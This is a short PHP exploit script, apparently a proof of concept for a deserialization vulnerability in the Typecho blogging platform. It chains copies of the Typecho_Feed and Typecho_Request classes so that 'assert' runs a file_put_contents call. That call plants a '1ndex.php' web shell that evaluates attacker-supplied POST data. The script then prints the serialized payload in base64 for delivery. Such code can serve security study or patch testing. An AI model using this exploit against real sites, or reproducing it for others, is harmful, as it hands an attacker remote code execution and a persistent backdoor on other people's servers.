<?php
class Typecho_Feed{
    const RSS2 = "RSS 2.0";
 
    private $_type;
    private $_version;
    private $_charset;
    private $_lang;
    private $_items = array();
 
    public function __construct($version, $type = self::RSS2, $charset = 'UTF-8', $lang = 'en'){
        $this->_version = $version;
        $this->_type = $type;
        $this->_charset = $charset;
        $this->_lang = $lang;
    }
 
    public function addItem(array $item){
        $this->_items[] = $item;
    }
}
 
class Typecho_Request{
    private $_params = array('screenName' => "file_put_contents('1ndex.php', '<?php eval(\$_POST[1]);//123123?>')");
    private $_filter = array('assert');
}
 
$p1 = new Typecho_Feed(1);
$p2 = new Typecho_Request();
$p1->addItem(array('author' => $p2));
$exp = array('adapter' => $p1, 'prefix' => 'th1s');
echo base64_encode(serialize($exp));
?>
</code>

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